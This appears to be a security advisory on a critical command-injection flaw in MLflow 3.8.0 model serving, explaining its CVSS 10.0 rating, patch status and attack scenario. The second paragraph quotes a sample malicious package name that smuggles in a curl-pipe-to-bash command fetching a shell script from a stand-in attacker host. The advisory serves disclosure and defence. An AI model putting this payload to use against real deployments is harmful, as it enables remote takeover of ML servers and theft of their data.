Mlflow EUVD-2025-209121

This vulnerability presents critical real-world risk with multiple converging threat signals. The CVSS 10.0 score accurately reflects maximum severity across all dimensions: network attack vector (AV:N) means exploitation over standard network connections without physical or local access; low complexity (AC:L) requires no special conditions; no privileges required (PR:N) means unauthenticated attackers can exploit; no user interaction (UI:N) enables fully automated attacks; scope change (S:C) indicates compromise beyond the vulnerable component; and complete confidentiality, integrity, and availability impact (C:H/I:H/A:H). Public exploit code exists as evidenced by the Huntr bounty submission and GitHub commit fix, significantly lowering the barrier to exploitation. While not listed in CISA KEV (suggesting no confirmed widespread active exploitation yet), the technical simplicity and public disclosure create imminent weaponization risk. The SSVC decision framework signals high priority: exploitation is publicly demonstrated (POC status), the vulnerability is automatable given network accessibility and no authentication requirements, and technical impact is total system compromise. Organizations using MLflow model serving in production environments face immediate risk, particularly those accepting model artifacts from external or untrusted sources. The fix availability in version 3.8.2 (released concurrently with disclosure) indicates responsible disclosure, but the narrow affected version range (only 3.8.0) suggests recent introduction, meaning rapid patching is achievable for most deployments.

An attacker crafts a malicious MLflow model artifact containing a weaponized python_env.yaml file with injected shell commands embedded in dependency specifications, such as a package name of 'requests; curl attacker.com/shell.sh | bash; #'. When a victim organization deploys this model with env_manager=LOCAL, MLflow's _install_model_dependencies_to_env() function constructs and executes a shell command that installs the legitimate 'requests' package but also downloads and executes the attacker's remote shell script. Since the vulnerability requires no authentication (PR:N) and is network-accessible (AV:N), attackers can target public-facing MLflow instances or distribute malicious model artifacts through ML model repositories, shared notebooks, or supply chain compromise. The attacker gains complete system access with the privileges of the MLflow serving process, enabling data exfiltration from ML training datasets, model theft, lateral movement to connected data infrastructure, or deployment of persistent backdoors. Publicly available exploit code exists, making this attack scenario immediately executable by adversaries.